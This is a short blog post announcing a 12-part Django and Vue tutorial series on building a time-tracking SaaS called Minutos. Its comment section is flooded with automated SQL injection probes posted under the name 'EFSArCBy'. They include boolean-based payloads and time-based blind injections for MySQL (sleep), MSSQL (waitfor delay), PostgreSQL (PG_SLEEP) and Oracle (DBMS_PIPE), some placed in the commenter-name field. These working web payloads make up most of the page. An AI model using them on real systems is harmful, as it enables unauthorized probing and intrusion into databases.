Pre release - Building a time tracking SaaS using Django and Vue

Do you want to learn how to build a time tracking SaaS from scratch using Django and Vue? Then you have come to the right place.

The project we are going build is going to be called Minutos. In this video, you will see a demo of the finished product.

I'm going to split this project into 12 parts and I will be releasing three parts per week (Monday, Wednesday and Friday). The tech stack for this project will be Django and Vue, and I'll also use Bulma CSS for the design.

If this sounds like an exciting project, please click like below and feel free to leave me a comment if you have any questions.

Comments

EFSArCBy | Jul 02, 26 08:44

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

-1 OR 2+131-131-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 08:45

-1 OR 2+576-576-1=0+0+0+1

EFSArCBy | Jul 02, 26 08:45

-1' OR 2+985-985-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 08:45

-1' OR 2+649-649-1=0+0+0+1 or 'VrpMugqD'='

EFSArCBy | Jul 02, 26 08:45

-1" OR 2+857-857-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 08:45

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 08:45

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 08:45

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 08:45

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 08:45

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 08:45

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 08:45

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 08:45

555NEdhxLOA'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 08:45

555-1 OR 485=(SELECT 485 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:45

555-1) OR 476=(SELECT 476 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:45

555-1)) OR 501=(SELECT 501 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:45

5556U9UlZJH' OR 851=(SELECT 851 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:45

555P0iRrczS') OR 815=(SELECT 815 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:45

555zP5bSU8i')) OR 981=(SELECT 981 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:45

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 08:45

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555'"

EFSArCBy | Jul 02, 26 08:45

@@8hYTH

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

-1 OR 2+625-625-1=0+0+0+1 -- | Jul 02, 26 08:45

555

-1 OR 2+560-560-1=0+0+0+1 | Jul 02, 26 08:45

555

-1' OR 2+505-505-1=0+0+0+1 -- | Jul 02, 26 08:45

555

-1' OR 2+513-513-1=0+0+0+1 or 'a2xqpRHb'=' | Jul 02, 26 08:45

555

-1" OR 2+860-860-1=0+0+0+1 -- | Jul 02, 26 08:45

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 08:45

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 08:45

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 08:45

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 08:45

555

EFSArCByKBEwDEpc'; waitfor delay '0:0:15' -- | Jul 02, 26 08:45

555

EFSArCBykKudxbcV' OR 396=(SELECT 396 FROM PG_SLEEP(15))-- | Jul 02, 26 08:45

555

EFSArCByGzl6kz7i') OR 417=(SELECT 417 FROM PG_SLEEP(15))-- | Jul 02, 26 08:45

555

EFSArCByan7QZLZP')) OR 548=(SELECT 548 FROM PG_SLEEP(15))-- | Jul 02, 26 08:45

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy'" | Jul 02, 26 08:45

555

@@v1owZ | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

EFSArCBy | Jul 02, 26 08:45

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.